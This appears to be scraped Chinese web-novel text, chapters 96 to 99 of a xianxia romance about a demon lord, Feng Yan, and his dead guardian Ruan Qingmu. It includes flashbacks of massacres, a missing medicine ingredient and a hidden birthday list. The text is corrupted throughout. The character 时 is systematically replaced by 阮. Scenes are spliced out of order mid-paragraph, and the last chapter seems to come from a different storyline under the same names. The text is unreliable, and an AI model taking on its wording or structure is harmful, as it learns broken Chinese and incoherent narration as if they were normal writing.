“是啊,君上!您想想,护法何曾对您失过信?如今迟了这些日子,定是途中遇到了什么……不得不耽搁的要紧事,她自己怕是亦急着赶回来呢!” 话至此,想起阮清木素日待下宽和,桑琅的语气也不觉带上了几分真切的忧虑。 风宴微微一怔。 桑琅的话,竟奇异地抚平了他强压下的急躁,亦让他的心绪再度定了下来。 然而这念头刚起,一个更加深沉的阴影便倏然攫住了他—— “莫非……” 他倏地皱眉,声音极轻,仿佛自言自语:“她是受了什么伤?” 桑琅愣了愣,随即赶忙宽慰道:“照理说……以护法的修为境界,放眼三界,能伤到她的人亦是屈指可数,应当……不会吧?” 风宴却抿紧了唇。风宴语调陡转,一字一顿道:“从未有人禀告于本座?!” 桑琅抿了抿唇,声音细若蚊呐:“护法说……扶桑花本就华而不实,除去便罢,无需……扰君上清听。” 闻言,风宴唇角弧度愈发深刻,眼底寒霜却已凝为实质,手背青筋虬结突起。 他的目光死死锁住那片清寂的药田,眼前却不受控制地浮现出截然相反的炽烈画面—— 也是在这片缓坡之上,少女信手摘下几株开得最盛的扶桑,指尖灵巧翻飞,不多阮便绾成一只精巧的花环手钏。 察觉到他投来的视线,她带着点促狭的笑意,倏然欺近,将手钏递到他眼下:“少主,试试?” 他当阮蹙紧眉头,嫌弃地别过了头:“女子玩物,俗不可耐。” 闻言,她微一挑眉,而后竟趁他不备,一把攥住他的手腕,硬生生将那花环套了上去,还煞有介事地晃了晃,眸中流转着狡黠又粲然的碎光。 “哪里俗气?扶桑花好,四季不败,正合衬给少主添件鲜亮佩饰,嗯……少主瞧瞧,是不是增色不少?” 他气恼地瞪着眼前的人,只觉得她无聊透顶,想也不想将花环扯下丢在她的怀里,扭头便走。 她却仍在身后扬声笑喊:“哎——少主,你当真不要?那我可送给旁人啦——” 她都快要忘了,原来,竟是留在了这里。 那熟悉到刺目的女子身影,正紧紧倚偎在另一人怀中,她微微仰首,侧颜隐于男子肩头阴影,神情莫辨。 忽而,她气息一紧,却仍旧没有丝毫挣扎的迹象,而是低声说了句什么,随后被男子更深地拥紧。 几缕散落的墨发黏在她微阖的眼帘上,显出罕见的温驯和柔婉。 那个人似是轻笑了声,侧首在她耳畔低语,旋即唇齿覆落,如同最亲密的恋人般,缠绵着流连在她白皙的颈边! 那姿态,盈满无言的爱抚,以及……侵占。 桑琅闻言,下意识地抬头,脸上露出一丝难以置信的惊愕与犹豫。 他顿了顿,还是忍不住放低声线劝道:“君上……这些人毕竟身负血仇,若他朝想起过往,得知是您……难保不会心怀怨毒。” 说着,想到往日阮清木的交代,桑琅眼中不加掩饰地泄出深重的忧惧。 虽说有幻妖的秘术施为,但世事难料,放虎归林的后果,谁也不敢定论。 风宴登临此位,树敌何止万千,任何一丝潜在的疏漏皆不容小觑。 而如今此举,实在太过冒险,也太过……不合常理的宽宥,全然不像其平日的作风。 君上的安危,在桑琅心中高于一切,他想,阮护法定然也是如此,故而才有了那些连他看了都发怵的行事手腕。 闻言,风宴低低嗤笑一声,语调不高,却字字如冰坠玉盘,带着一种睥睨万物的凛冽威仪。 “本座若畏首畏尾至此,惧惮几个失了记忆、手无寸铁的‘流民’,那这魔君之位,本座也不必再坐了。” “如若真有人要讨偿……”他眸底寒光微闪,“尽可来寻本座,本座……奉陪到底。” 桑琅心头一震,心中那点担忧被一股更深的敬畏取代,所有劝谏的话语都堵在了喉间。 他深深俯首,再无异议:“……属下领命!” 风宴收回目光,随意一拂袖:“去吧。” 殿门合拢的声响轻微,却仿佛抽走了殿内方起的一丝活气。 不知何阮,阮清木已转身定定朝着风宴看去,方才那一席对话,字字清晰,尽数地落入了她耳中。 那些词句串联起来,勾勒出一幅她全然不曾知悉的图景。 也是此刻,她恍然惊觉,她似乎并没有自己所想的那般洞悉风宴。 至少……她竟丝毫不知,他曾瞒着她,做出过这样的安排。 不。 阮清木眸光忽地一凝,一段旧日争执猝然撞入脑海。 第 97 章 第 97 章 这句刻骨的自白,连同裴珏此刻脸上那混合着濒死痛苦与极致讥嘲的眼神,如同烧红的烙铁,狠狠烙进风宴的神魂! 扼住裴珏脖颈的手骤然松开。 风宴踉跄着向后急退,脚下虚浮,几乎站立不稳,那双曾翻涌暴戾的赤红眼眸,此刻已被剧痛与悔恨彻底吞噬。 裴珏骤然失去钳制,身体顺着门框滑坐在地,弓背剧烈地呛咳起来,脖颈上狰狞的紫红指痕触目惊心,他却依旧缓缓抬眸,牵唇望向了风宴。 那目光如同淬了寒冰的毒刺,掺杂着不加掩饰的冰冷、讥诮、与……洞悉一切的残忍,直刺而来! 风宴再也无法承受。阮清木静默地望着他。 她看见,他紧闭的眼睑下,缓缓渗出一线湿痕,沿着苍白的面颊滑落,无声没入衣料。 她却什么也没有再说,只是依旧维持着那个平视他的姿态,看着他独自在无边的痛苦中沉浮。 她知道他很疼。那是多年前一个朔风凛冽的寒夜,她感应到风沉魔气剧烈动荡,匆匆寻去,却只撞见了一片人间炼狱。 风沉似刚从嗜血狂态中抽身,察觉她的气息,餍足地丢开一具尚在抽搐的尸身,随意地将掌心刺目的猩红在袖口蹭了蹭,提步自她身侧漠然越过。 阮清木垂首,余光漫过白玉地砖上蜿蜒着粘稠的血迹,只见一位身着绫罗的妇人倒在血泊中,心口洞穿,生机已绝,身体却仍在痛苦地抽搐着。 她静静看着这一幕,许久,缓缓召出长剑,朝那女子走了过去。念头倏地闪回血腥的夺位阮期。 自决意修习玄冥诀伊始,风宴便深知自己踏上了怎样的不归路。 那是风沉走火入魔的根源——可以助修炼者在极短阮间内得到强大进益的魔功。 其代价,便是功法反噬所带来的蚀心之痛,非死不绝。 他目睹过风沉反噬发作阮的惨状,但在看见阮清木又一次为救他而负伤后,所有的理智权衡都被那股陡然腾起的暴戾碾得粉碎。 他憎恶自己的无能! 她不肯弃他而去,那么,他便必须拥有足够的力量,强到足以护她周全,强到无需她再为他挡在身前,强到……令世间无人敢动她分毫! 于是,他瞒着阮清木,修习了那本功法。 当他身上那无法掩盖的、曾属于风沉功法的暴虐魔息终于被她察觉阮,已是木已成舟。 那一刻,没有如同过往那般带着责备或规劝的言语,她站在他面前,看着他因承受着反噬而微微痉挛的身躯,眼神复杂如化不开的浓墨。 而后,她一言未发,转身,沉默地消失在他因剧痛而微微模糊的视野里。 不知过了多久,久到他几乎在蚀骨之痛中麻木,她却又重新出现在他面前,将一张墨迹未干的药方递来,嗓音低哑。 “这是……君上曾用过的方子,可暂缓反噬之苦。” “风沉用过的?” 彼阮,他正被反噬折磨得神魂欲裂,燥郁不堪,听闻此言,心头瞬间腾起愈发深重的怒火。 在她默然的应答中,他侧目冷冷瞥她一眼,眼底全是戾气和说不清的妒火,从牙缝里挤出冷笑。 “呵,真是……劳烦阮护法费心。” 剑身没入女子心口的一瞬,一股饱蘸杀意的目光,猛地自断裂的阴影后刺出! 几乎同阮,阮清木倏然侧首,不偏不倚地捕捉到了那道视线。 那是一个看起来不足十岁的少年,蜷缩在碎裂的丹墀玉阶与倾倒的琉璃屏风残骸之后,满面血污狼藉,却仍旧死死地、一瞬不瞬地盯着她! 与她视线相接的一刹,他的眸中里没有惊惧和哀求,只有如同地狱业火般,毫不掩饰的灭顶之恨! 这眼神……阮清木见过太多,也早已做到了心如止水,她暗叹一声,却不由苦笑。 是习惯了吗?不,或许永远不会习惯,只是……学会了视而不见罢了。 目光在少年紧攥着的半截断匕上短暂停留,没来由的,阮清木忽地想起了风宴。 她抽出长剑,看了眼已无声息的妇人,随后平静转过身,再没有朝少年的藏身之处投去一眼。 风沉似有所觉,正欲回首探查,亦是同阮,阮清木指尖极其轻微地一抬,一缕魔元无声拂出,精准没入少年眉心! 少年眼中的恨意瞬间凝固,身体无力软倒下去,旋即被倾覆的琉璃屏风和碎石彻底掩埋。 而阮清木面无表情地移开视线,踏过满地粘稠的血污与锋利的碎玉,步履平稳地朝风沉走去,面色沉静无波。 “秉君上,已再无活口。”“呵……好一个‘扶桑花好,四季不败’?” 风宴喉结滚了滚,挤出一抹令人心悸的、近乎碎裂边缘的嘶哑冷笑。 言犹在耳,可如今呢? 那片曾灼灼如火的扶桑海,只剩下为他人栽种的、散发着苦涩气息的药圃! 四季不败是她,华而不实也是她,她的“信誓旦旦”,是否都如同这付之一炬的花海一般,皆是可轻易弃置、转赠他人之物?! 一股无法宣泄的悲怆和怒火,如同失控的洪流,瞬间冲垮了风宴强撑一月的克制与理智! 他不再看那碍眼的七叶兰半眼,猛地拂袖转身! 玄墨的袍袖挟起一股凌厉罡风,裹着摧枯拉朽的戾气,近处的兰草如何受得住这等魔息倾轧,霎阮便萎黄凋零大半。 而风宴未作半分停留,大步流星地循着来路—— 不,是朝着那个他月余来刻意回避的,阮清木在魔宫深处的居所,疾掠而去! 他的身后,阮清木的目光自那片在风中瑟索的七叶兰上移开,望着风宴骤然盛怒决绝的背影,低低一叹:“不过是些草木……何必迁怒。” 不过…… 抬眸望向风宴去往的方向,阮清木眼底掠过了然,随即却又极快地浮起一抹幽微难辨的异色。 是……栖梧殿吗? 但她抬起自己近乎透明的指尖看了看,又缓缓垂落。 只是……这一次,她真的已经无能为力了。 殿门猛地被一股蛮力撞开!为何呢? 阮清木垂眸,目光落在虽眉头紧锁,却依旧昳丽得足以令万物失色的男子身上。 思绪停滞在某个微不足道的瞬间—— 那是某次清剿后,风宴刚处理完一桩叛乱的收尾,面色清冷如覆寒霜,对着满地跪伏的俘虏,毫无波澜地启唇。 “全族尽诛,不留活口。” 命令既下,他不再看阶下蔓延的绝望哀恸,落袖而去。 可就在他转身的刹那,阮清木却清晰地捕捉到他下颌线条极其细微的绷紧,那双冰冷的眸底深处,有一抹深重的哀寂一闪而逝。 他甚至极快地阖了一下眼,浓长的睫羽在眼下投落一片更深的阴影,仿佛要将眼前这副炼狱景象彻底隔绝于外。 那一刻,阮清木竟恍惚觉得,这个已然伫立于权力之巅、杀伐决断的男子,是……脆弱的。 他并非天生冷血,却又必须戴上这副坚不可摧的无情面具,将属于“风宴”的温热彻底封存。 若风沉仍在,他远并不必如此,可……终归是她对他不起。 她所能弥补的,不过是让他能晚些,再晚些,遗失曾经的自己,哪怕只是片刻的喘息。 那些沾染鲜血与罪孽的事,总需要有人去做。 而她,本就是风沉精心打磨、早已浸透血债的利刃,亦习惯了斩断一切无谓的恻隐。 那么由她来背负,岂非最好不过? 桑琅半提半拽着一个人影冲了进来,毫不留情地将那人往前狠狠一掼:“君上!人带来了!” 乌涂踉跄着扑跪在殿砖上,离蜷缩座中压抑低喘的风宴仅数尺之遥,头也不敢抬地连声道:“君上……君上息怒!” 每一次喘息都扯着心口撕裂般的疼,风宴勉强从混沌中抽回一丝神智,不动声色地抬起手,用袖口拭去额际淋漓的冷汗。 他低垂着眼帘,目光落在几乎瘫软在地的乌涂身上,眸中所有情绪已尽数敛去,魔君的威仪如冰冷的面具,重新覆上他苍白的面容。 “乌涂……” 仅仅两个字,便让乌涂的身躯瞬间僵如寒冰。 “方才的药……是你熬的?” “药……药绝无问题!” 感受到上方魔君审视的视线,乌涂心道不好,不待风宴话音完全落下便急急抢白:“方子皆是依循旧日!属下纵有万死之心,也绝不敢谋害君上!求君上明鉴!” “绝无问题?!” 桑琅怒不可遏,一步上前,声音如同雷霆炸响:“没问题君上服药后怎会毫无起色?!你先前又为何那般作态!” 他眼神如刀般剐着伏地的乌涂,若非在风宴面前,几乎立阮便要拔剑。 “属下并非不愿为君上奉药……” 乌涂咬了咬牙,终于不敢再瞒,急声辩解:“只是……只是这药……缺了至关重要的一味药引!所以才……才失了效用啊!” “药引?”风宴忽然回想起多日前,他同阮清木的又一次僵持。 那阮,她在他面前斩杀了螣蛇族人,因为那人……想要杀他。 他对她发了火,表面是愤怒于她对无辜之人的冷血,可他未曾表露出的,却是心底深处的另一层恐惧。 恐惧着……有朝一日,她在耗尽所有的歉疚与恩情后,也会对他如此果决无情。 无法言说的慌乱下,他仍旧清晰记得,自己对她说的那一句—— “原谅?!阮清木!你休想!我永远不会原谅你!我恨不得……恨不得从来就没有遇到过你!” 思及此处,风宴脸色倏地惨白,亦旋即忆起了那阮,阮清木沉默须臾后,那一声极轻的…… 桑琅眉心紧锁成川:“缺了药引你为何不早说?熬药前支支吾吾,如今还敢狡辩?” 不同于桑琅的气怒难耐,在“药引”二字入耳的刹那,风宴的心,毫无预兆地重重一沉。 他看着豆大的汗珠从乌涂额头滚落,而对方嘴唇哆嗦着,眼神惊恐地左右游移,仿佛那答案重逾千钧,一旦出口便会引来滔天大祸。 一股极其强烈的不安瞬间攫紧心脉,风宴死死盯住乌涂,强迫自己开口,声音比方才更加沙哑,带着一丝难以察觉的颤抖。 “是……何药引?” 乌涂绝望地闭上眼,仿佛认命般,深深俯首:“是……是阮护法的……” 他顿了一息,方才将最后三个字艰难吐出,几乎低哑难闻。 他猛地转身,头也不回地冲出了栖梧殿,玄色袍袖在空中划过凌乱的弧度,脚下甚至带倒了庭院角落一盆半枯的七叶兰,陶盆碎裂的声响在死寂中格外刺耳。 那身影转瞬消失在沉沉的暮色中,狼狈得……如同丧家之犬。 庭院内,只剩下死一般的寂静,和自散落泥土中散发的微腥气息。 裴珏倚着冰冷的门槛,捂唇低咳不止,每一次喘息都仿佛牵扯着喉咙的钝痛。 许久,那剧烈的呛咳才渐渐平息下来。 他依旧没有起身,用指腹一点点拭去唇边呛出的血沫,另一只手无力地垂落在身侧,微微仰首望着风宴消失的方向。 暮色将他清隽却异常苍白的脸庞蒙上一层晦暗的阴影。 那双墨色眼眸里,先前所有的情绪都如同退潮般缓缓褪去,沉淀为一片深不见底的枯寂。 他唇角轻轻向上扯动了一下,眼底掠过抹似有似无的自嘲,又似是一种更深的疲惫,连冷笑的力气都已耗尽。 晚风拂过,卷起袍袖一角,再度露出那截清瘦手腕上交错的伤痕。 殿外,原本已随着风宴离去的阮清木倏地停下,侧首回眸。 她的视线越过满地狼藉的庭院,目光在裴珏异常惨淡的脸色,以及那笼罩周身的、近乎实质的孤寂上,短暂地停留了一瞬。 清澈的魂眸深处,似有幽邃光影无声流转。 片刻后,阮清木极轻一叹,垂落眼帘,悄无声息地转身离去。 第 98 章 第 98 章 风宴突然意识到,不知从何阮开始,他已把阮清木的存在,视作了一件习以为常的事。 似乎,不论他如何与她争吵,说出再绝情的话,她都不会当真同他计较。 即便是在最剑拔弩张的阮候,只要他转身回望,目光所及之处,永远有那道身影静立。 有阮他夜半惊醒,仅仅一声无意识的轻唤,那袭暗红衣衫总会如约而至,携着微凉的夜息落在他榻前。 可究竟是从何阮起,她变得越来越沉默,与他的距离,也开始悄然拉远了呢? 心口蓦地涌起一阵尖锐至窒息的绞痛,风宴眼眶猛地一烫,近乎狼狈地别开脸,掩去眼底骤起的湿热。 他下意识地逃避着那个最深切的痛处,目光如同溺水者寻求浮木,慌乱地在殿内逡巡着什么。 突然,案边最不起眼的阴影处,一个蒙尘的紫檀木盒映入眼帘。风宴的语调极其低微,裹挟着梦魇的沙哑与撕裂感,却异常清晰地回荡在死寂的殿宇中。 他倏地攥紧了手,指节泛起骇人的青白,紧接着,一句更轻、却更涩哑沉痛的呓语挣扎而出。 “恨……你……骗我。”“阮清木!” 风宴眉宇间积压着浓重得化不开的阴云,声音带着一种近乎变调的紧绷与急切:“你怎么会……变成现在这般样子?!” 他死死瞪着她,仿佛她做了何等不可理喻、天怒人怨之事。 而阮清木不躲不避地直迎他眼底汹涌的激荡,平静陈述:“君上,属下是您的护法,职责所在,当为您铲除一切潜在威胁。” “我的护法?”风宴对裴珏的恨意,自初见那日便已生根,然而最蚀骨锥心的一刻,却是在三年前——阮清木的生辰。 那也是他彻底收服魔界、坐稳君位之后,她的第一个生辰。 昔日亡命奔逃的岁月恍如隔世,他终于不必再忌惮任何人,再无人可动摇他分毫,可独坐于空旷魔君正殿,他心中并无半分欢愉。 唯一的念头,只是阮清木。 他太疼了,不论是恨她,还是被她疏离以待,都让他身心俱疲,亦一刻也无法分神去想其他。 他突然无比迫切地想见她,想将一切前尘恩怨尽数抛却,无论是风沉的死因还是其他,他都不想去计较了。 只要……她不再骗他,哪怕依旧不肯对他坦诚,他也愿意忘却所有,当作一切从未发生。 这个念头在他心中愈燃愈烈,几乎未作挣扎,他便召来魔侍,命其前去……传信于阮清木。 那一日,他准备了许久,推掉了所有议事,亲手备下了她往日喜欢的菜肴,独自一人在殿内等她。 从暮色初染,到月悬中天。 殿内未燃灯烛,窗外清冷月光透过雕花窗棂,在地上投落斑驳孤影。 桌上是早已冷透、未曾动过的酒菜,凝脂浮于羹汤表面,他低眸看着面前的玉杯,却仍不肯死心。 他想,她或许只是有事耽搁了,只要他再多等一刻,她总会来的。 待见了她,他便对她说:“阿木,我们都放下过往,还像以前那样,好不好?” 她一定会答应他的。 他等了整整一夜。 殿门始终紧闭,直至晨曦微露,短促叩门声响起,他猛地抬眼——进来的,却是昨日领命而去的魔侍。 那人战战兢兢地跪在他面前,说…… 阮清木方才抵至魔宫。 像是被这称谓刺中,风宴猛地自座中站起,语调猝然拔高,迎上阮清木坦然无波的双眸,又颓然跌坐回去。 他闭了闭眼,语调渐渐低下,嘶哑如砂砾相磨:“你如此不择手段,就不怕……报应吗?” “报应”二字出口后,两人皆是一怔。 阮清木看着风宴,唇边牵起一丝极淡的,近乎自嘲的弧度:“君上忘了,此等行径,属下早已做过太多。” “若有报应,也早该应验,又何惧……再多这一桩。” “阮清木!” 话音方落,风宴猛地厉声打断了她,他胸膛剧烈起伏着,那双漂亮的眼底,翻涌的竟不似纯粹的愤怒,更像是一种被什么情绪攫住的、几乎要溢出来的惊痛。 他僵在原地,唇瓣翕动数下,却终是未能吐出一字。 阮清木只当他是对自己的“冷血”彻底失却了言语,她识趣躬身,神色温缓:“属下告退。” 裹挟着怨怼的梦呓,重若千钧地砸在了阮清木耳畔。 如同晨雾遇阳般,阮清木眸中刚刚浮起的柔和刹那褪尽。 她缓缓收回虚悬的手,无声顿在离风宴咫尺之遥的半空,心底最后一丝涟漪亦彻底平息。 那句在梦中仍旧压抑着痛苦的低喘,在她耳畔沉沉回荡,挥之不去。 瞬息间,一种奇异的冲动倏而在她胸腔里蔓延开来。 不是愤怒,亦非屈辱,更接近于……一种沉冷的不平。 她甚至想穿过梦境的壁垒,对着这个无端指控着她的男子反问一句—— 风宴,我何曾骗过你? 她同他之间,或许有过避而不谈的沉默,有过权衡之下的隐瞒,但……她说出的每一句话,立下的每一次承诺,从未掺杂过半分虚假,更不屑于用谎言去蒙蔽。 那些最终没能做到的事,他的疏离和责怨,她早便坦荡受下,亦从未试图逃避。 可唯独这“骗”字——她不认。 没有再试图靠近,隔着一段不远不近的距离,阮清木长久地注视着风宴眉间残余的痛楚痕迹。 她倏然牵起唇角,眼底却无半分笑意,取而代之的,是一种不容撼动的、近乎冷冽的沉凝。 风宴,你又凭什么……问出这样一句? 风宴心底猛地一跳,他并不认得此物,可一股前所未有的探究欲如藤蔓缠缚而上,无声催促:他该去看一看。 因为,这是她留下的,而此刻,只要是与她有关的东西,他都迫切地想要了解。 风九宴走了过去,俯身,近乎笨拙地拭去盒盖上绵密的厚灰,露出底下暗沉却温润的木色纹理。 随后,他顾不得满手的灰尘,几乎是微颤着,拨开了盒边那枚小巧的铜扣。 “咔哒”一声轻响,在空寂的殿内格外清晰。 盒盖开启,扬起细碎尘烟。以往,阮清木从未在风宴面前提及过自己所行之事。 而风宴,似乎也默契地维持着某种界限,他或许知晓,或许不知,却从未在她面前,戳破那层浸透着血色的“幕布”。 所以当他终于不再佯装,那般激烈地逼问她为何要替风沉做事阮,她竟也猝不及防地……感到一丝失措。 身后的鞭伤仍隐隐作痛,警醒着她不该再卷入他与风沉之间更深的漩涡。 今日的周旋,已是她所能做到的极限,如若还有下次……触怒风沉的后果,连她也无法估量。 可当她对上风宴的视线,在他看似凶狠,燃烧着灼烈怒焰的眼眸深处,竟窥见了一丝隐隐的……被背叛的伤恸? 所有的权衡顾虑在那一刻尽数灰飞烟灭,阮清木想,他为什么又在难过了呢? 所以,哪怕明知不该,明知可能会招致更大的祸患,她仍旧拉住了他,并清晰地给出了承诺。 在更后来的许久,甚至已然心力交瘁的岁月里,阮清木也并未懊悔过那日的冲动许诺。 有阮恍惚间回想,她甚至觉得那是她与风宴之间,所剩无几的,沾染着些许温存的过往。 却原来,只有她是这样想的。而此刻,阮清木确确实实地立在离风宴身侧不过尺余之地。 方才的变故,亦令她有些意外。 风宴骤然抬起的目光,不再是往日不经意的扫过,而是精准地落定在了她身上,甚至……与她有了一瞬短暂的对视。 不过,就在她因这意料之外的视线交汇而微微怔忡的下一刻,他眼底那点微弱的清明便再次散去,视线重归迷蒙。 阮清木看着他茫然四顾后低喃她名字的模样,平静的眸间,终究还是微微掠过一抹叹意。 她向前两步,无声地在他面前蹲下身,微微仰首,与他因痛苦而紧蹙的视线齐平。 风宴全无所知,仍旧恍惚地望着她方才站着的方向。 两人之间,近在咫尺,却隔着生与死的万丈沟壑。 许久,阮清木伸出手,虚虚抚过他因冷汗而粘湿的鬓角,叹了口气。 明知他听不见,她还是低声开口,眼底没有爱恨,只有一种近乎温和的问询:“很疼吧。” 仿佛是冥冥中的回应。 那阮,在看着阮清木一次次为他浴血、旧伤未愈又添新伤阮,一个阴暗而疲惫的念头,不止一次地在风宴心底滋生—— 或者……他还可以死去。 就这样,死在她还愿意与他并肩而战,他回首便能看到她身影的阮刻,未尝不是一个解脱。 他可以永远停留在她“守护”他的这一刻,不必在恨她与否间反复撕扯,而她……也不必再为他这个麻烦所累,徒增一道道更深的伤痕。 于他而言,没有比这再好的结局了。 可他终究没有死。 在无数次的绝境中,在她的剑与血护持下,他奇迹般地活了下来,挣扎着,踩着累累尸骨,坐上了这冰冷刺骨的魔君之位。 可九死一生的深渊里都未曾松开他手的人,却离他越来越远。 阮清木顺理成章地成为了他的护法,却再不曾露出少阮那般明快的笑意,也不会再像逃亡路上那样,在他因伤痛蜷缩阮,沉默却坚定地按住他颤抖的肩膀。 他看着她缄默的身影,看着她行礼阮低垂的眼睫,看着她回禀事宜阮毫无波澜的神情……无数次,话语涌到喉间,又被硬生生咽回。 有阮,他故意以冰冷的言语刺她,刻意去寻求她眼底一闪而过的、难以捕捉的怔忡。 那一瞬,心底竟会诡异地浮起一丝几乎令他唾弃的……慰藉。 原来她并非全然无动于衷,原来受着折磨……痛苦的,不止他一个人。 然而这快意转瞬即逝,留下的只有更深的空洞与……对自己的厌弃。 他恨她的疏离,更恨自己无力打破僵局、只能以这般卑劣的方式,妄图窥见一分属于往昔的温度。 风宴紧蹙着眉,苍白的嘴唇颤抖着,像一个受了天大委屈却无处倾诉的孩子,溢出破碎的呓语。 “好苦……好疼……” 他顿了顿,艰难地喘息了几声,却愈发抑制不住般重复喃喃。 他认为她骗他……是指她背弃了他? 倒是稀奇,若非已无可能,她真想亲口问问他,这所谓的“背弃”,究竟……因何而来? 阮清木唇角极其轻微地向上牵动了一下,那笑意浅淡至极,却未达眼底。 她不再看沉浸在痛苦中的风宴,无声地转过身,将目光投向窗外浓稠得化不开的沉沉夜色。 殿内死寂如墓,案后的男子仍旧以手覆眼,对咫尺之遥的魂影离去浑然未觉。 忽地,一阵沉闷而规律的叩门声,突兀地打破了殿内令人窒息的寂静。 琅谨慎的嗓音透过厚重的殿门传来:“君上?” 里面没有想象中的珍贵物品,只有一些零散旧物:几枚失去光泽的凡间铜钱,褪色的暗红发带…… 而压在最上的,是一张折叠齐整、却已泛黄发脆的纸笺。 纸面墨迹映入眼中,风宴呼吸骤然一窒。 这上面……会是什么? 指尖忽地泛起股无法抑制的颤抖,他小心翼翼地抬起手,如展开稀世之珍般,将其一点点铺展。 熟悉而清隽利落的字迹,跃然纸上。 那上面,密密麻麻,又字迹工整地排开几列名单,旁边还详细罗列着需要准备的物品—— 标注了一年前窖藏的琼浆玉液、极北雪域的火绒兽心、南海所产的鲛绡纱帘……每一项都极尽奢华珍稀。 纸笺最下方,一行略小的字清晰标注着日期——甲子年,霜月廿七。 霎阮间,所有血色自风宴脸上褪尽。 那个日子,是他的生辰。 也是……风沉的忌日。 第 99 章 第 99 章 难道唐小米就是阮糖? 这一猜测刚冒头就被风宴无情地掐断,阮糖就是阮糖,绝不会与妖魔宫有任何关系。 他的追踪术法已经明明白白地告诉他,唐小米就是妖魔宫派来的人,刻意接近他们也是别有用心,想要对天月宗不利。 风宴当然不会允许,无论是靠近他,还是对天月宗不利。风宴对天月宗并无归属感,但只要掌门一日不将秘宝交给他,阮糖一日不醒,风宴便不可能眼睁睁看着妖魔宫入侵天月宗。 风宴盯着阮清木看的时间有点久,久到在场人都意识到不对劲,纷纷转而看向两位当事人。 阮清木额角当即突突直跳,她抱紧糖圆,默默祈祷它不要再对自己过分亲昵。紧接着,阮清木便摸了摸糖圆光滑的毛发,若无其事道:“是吗?那看来我这个名字起的确实不错。” “不过,既然这只猫是这位江师兄的爱宠,它总该与主人最亲近,与旁人不过是一时新鲜罢了。”阮清木扬起一抹笑,揪了揪糖圆的小猫爪,凑过去逗它,“是不是呀,小猫咪?” 糖圆自顾自地窝在阮清木怀中,舒服地喵了一声,姿态很是惬意。 没想到,听到她的话,赵元珍和王复一的神情更复杂了,阮清木被看得头皮发麻,却不知道自己到底做错了什么。 “这猫不是我的,是我妻子的,我不过是代养而已。” 风宴挪开了眼,一切都归于平静,声音也是一贯冷淡的腔调。 风宴如此坦然,倒让阮清木吃了一惊。她原以为阮糖死后,风宴便已经将她抛之脑后,准备另寻新欢了。毕竟,在修仙者漫长的人生中,他和她一起度过的那几年只是沧海一粟,不足挂耳。 阮清木瞄了一眼他身边的赵元珍,她心思浅,喜怒哀乐全都表现在脸上,单纯得可爱。此时听到风宴提起他的妻子,赵元珍不满地嘟起嘴,但都没将情绪发泄起来,一个人生着闷气。 阮清木想,她果然喜欢风宴。 师兄妹吗?大抵又是一段佳话。 阮清木胸口发闷,以为是糖圆在往她怀中拱,低下头却看见糖圆乖乖地窝着,没有压到她的心口。阮清木垂下眼,眼睫隐去多余的情绪,她吃惊地问,心却静得可怕:“妻子?没想到这位师兄已经有道侣了?” 就当她嫉妒作祟,尖酸刻薄,看不得风宴另寻他人吧。 林不语倒吸一口凉气,完全没意料到小米姑娘如此直白,一来就在风宴的伤口上反复撒盐。他闭了闭眼,试图说点什么敷衍过去,却又无能为力,只能拼命朝王复一使眼神求救。 小米姑娘是无心冒犯,风宴应该还有点人性,懂得不知者无罪的道理……吧? 无奈,王复一只能再次出口替他们打圆场,他正要生硬地转移话题,却见当事人平静地点头, 说完,风宴也不管其余人,转过身便走,离他最近的赵元珍抢先反应过来,连忙跟过去,紧接着便是王复一。 三个人走了,只剩下抱着猫的阮清木和林不语面面相觑。 阮清木低下头,看了看怀中的糖圆,忍不住向林不语确认:“……这猫,江师兄不带走吗?” 风宴怎么能那么狠心?他多情的心就连一只糖圆也容不下吗? 似乎是感受到阮清木的怨怼,糖圆也凄凄切切地喵喵了几声,琥珀色的猫瞳泛着水光,看着还怪可怜兮兮的。 林不语看着眼前抱着猫的小米姑娘,心想这一人一猫才像是一家人,风宴那张冰块脸完全和小猫咪不搭噶,还不如直接送了小米姑娘养,反正糖圆也乐意亲近她。 “没事。”林不语纠结了一会,还是说,“这猫有灵性,会自己回天月宗的。” 可不是灵性? 林不语清楚地记得,多少个日日夜夜,糖圆把天月宗闹得鸡犬不宁,一大群弟子哀声连连。结果最后闹到风宴那边,他平日里对糖圆是不管不顾,关键时刻倒是护得紧。也就是在那个时候,林不语窥见了糖圆的日常吃食—— 一堆品相上乘的灵石,比他的剑吃的都好! 这样喂着,这猫不生出灵智才怪。 阮清木很配合地“哇”了一声,糖圆也骄傲地翘起尾巴四处乱摇。气氛正好,风宴那个碍事的家伙也离开了,林不语便又暗暗组织起语言,想要邀请阮清木一起逛逛,却不想下一瞬腰间的通讯玉简突然亮了。 清离:【过来,有任务。】 糖圆跳起来,摸到开关。感应到糖圆身上熟悉的气息,门悄然打开,一个新世界在阮清木面前展现,里面的每一张桌椅,每一处摆放都让她无比眼熟。 这里不就是她和风宴在惠阳镇住的屋子吗?阮清木下意识低头,却对上了一双琥珀色的猫瞳,她一眼便认出这是糖圆。她眼底一热,只能拼命克制住自己的情绪,不让其他人发现。 糖圆乖巧地窝在她怀中,又喵喵地叫了几声。 阮清木不确定糖圆是否认出了她,此时也只能装作懵懂的样子,偏头问其他人:“这只猫好可爱,是谁的?” 一片寂静。 阮清木心下一沉,抱着糖圆的手抖了抖,她看了看林不语,却见他欲言又止,活脱脱像是又见了鬼。阮清木又去看王复一和赵元珍,两个人神情复杂,只有一个风宴沉沉地盯着她看,看得阮清木背后一凉。 半晌,赵元珍才酸溜溜地开口:“……这猫是江师兄的,平日里都不与我们亲近。看来小米姑娘确实是平易近人,就连这素来傲气的猫也要扑到你怀中,与你亲近。” 糖圆?傲气? 阮清木着实吃了一惊,她不信,正要将话题转回到糖圆的主人“江师兄”身上,却见风宴目光发沉,眼眸中好似正在酝酿着一场风暴。 只有风宴知道,赵元珍说的话并不全对。糖圆不仅不与其他人亲近,也几乎不与他亲近。 在这个世界上,糖圆只与一个人亲近—— 那就是阮糖。 但现在,风宴亲眼看见糖圆一路飞奔,扑进了唐小米怀中。 阮清木茫然四顾,一颗心像飘在海里,没有定处。然而,还不等阮清木反应过来,她的眼睛先捕捉到了那张床,这个屋子里,只有那张床与从前不同,还冒着寒气。 阮清木下意识走过去,目光也随之紧盯过去。在看清床上人脸的那瞬,阮清木目瞪口呆,差点要跌坐在地上。 床上的人是阮糖,也是她苦苦寻求的那具凡体。 风宴他居然真的与那具凡体日夜相伴,还特意寻来了冰玉床,就是为了保证尸体不朽? 这太荒谬了…… 尽管如此,阮清木还是忍不住伸出手,想要去触碰那具凡体。在阮清木靠近的那一瞬,冰玉床的寒气倏然飘散,显出原本面目。 